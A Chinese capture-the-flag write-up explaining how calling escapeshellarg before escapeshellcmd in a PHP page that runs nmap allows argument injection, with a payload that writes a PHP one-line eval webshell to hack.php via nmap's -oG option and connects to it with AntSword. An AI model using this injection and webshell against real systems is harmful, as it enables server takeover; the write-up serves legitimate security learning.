【WEB】Online ToolWEB

可以看出,当我们传?host=xxx时,后端把它拼进系统命令 nmap -T5 -sT -Pn --host-timeout 2 -F xxx 用 system() 执行,所以作者套了两个过滤函数,但用错了顺序。

两个重要的前置函数:

  • escapeshellarg($s) :用一对单引号 把输入整个包成 "一个参数",并转义内部单引号。shell 里单引号中的内容全是字面量,正常情况下注入不进去。
  • escapeshellcmd($s) :在 ; | & > < $ ( ) 等 shell 元字符前加反斜杠 \,并给它认为 "落单没配对" 的引号补 \。

单独用 escapeshellarg 是安全的。但代码是 先 arg、再 cmd:

  1. escapeshellarg 刚用单引号把你输入锁好;
  2. escapeshellcmd 又去 "好心" 处理引号,给它眼里落单的引号加 \------这一步把第 1 步精心构造的引号配对打乱了,等于把锁撬松。

我们可以利用这点,在输入首尾各放一个单引号 。经过两道函数后引号被重新配平,中间用空格隔开的内容(PHP 代码、-oG hack.php)就从单引号牢笼里 "漏" 了出来,被 shell 当成 nmap 的后续 token。

payload如下:

php 复制代码
' <?php @eval($_POST["hack"]);?> -oG hack.php '
  • <?php @eval($_POST"hack");?>:一句话木马,密码 hack,被 nmap 写进文件
  • -oG hack.php:nmap 参数,把结果(含命令行)写成 hack.php

再看代码,

php 复制代码
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);  // ① 算出一个沙箱目录名(32位md5)
@mkdir($sandbox);     // ② 在网站根目录里创建这个文件夹
chdir($sandbox);      // ③ 把进程的"当前工作目录"切换进这个文件夹
system("nmap ... -F ".$host);   // nmap 继承这个工作目录

代码先用 chdir(沙箱) 把工作目录切进了那个 md5 文件夹,所以我们的一句话木马不在网站根目录、而在 <md5>/hack.php,URL 要带上 md5。

用蚁剑进行连接。

相关推荐
Escalating_xu5 小时前
【Linux 网络编程】DNS 与 ICMP:从域名解析到 ping、traceroute,把“网络通不通”问清楚
linux·网络·php
niucloud-admin7 小时前
NIUCLOUD PHP SAAS上门家政使用文档--服务订单:订单列表
开发语言·php
一枕槐安4877 小时前
大模型限流、重试、超时处理:API 调用健壮性方案
linux·服务器·php·大模型api·指数退避·限流控制·超时预算
李纲明7 小时前
WordPress 白屏或提示「出现了严重错误」:先开 WP_DEBUG 抓致命错误,再二分插件与主题
运维·php·debug·wordpress·白屏·插件冲突·devdiy
其实防守也摸鱼10 小时前
Chrome 扩展安全攻防实录:从攻击面到防御实践
开发语言·前端·网络·chrome·安全·web安全·php
niucloud-admin12 小时前
NIUCLOUD PHP SAAS上门家政使用文档--服务订单:评价列表
开发语言·php
临沂码农王老七13 小时前
Composer一劳永逸的“绿色安装法”
php·composer
aixingpan13 小时前
aixingpan.cn API开发文档:api_docs_bichart_common2接口指南
前端·php
萝卜兔00815 小时前
PIKACHU_UnsafeFileUpload
javascript·php
OxYGC16 小时前
[工程] PHP2Shell 漏洞解析:两条 PHP 内核 RCE,为什么应用层的防护全部失效
android·开发语言·php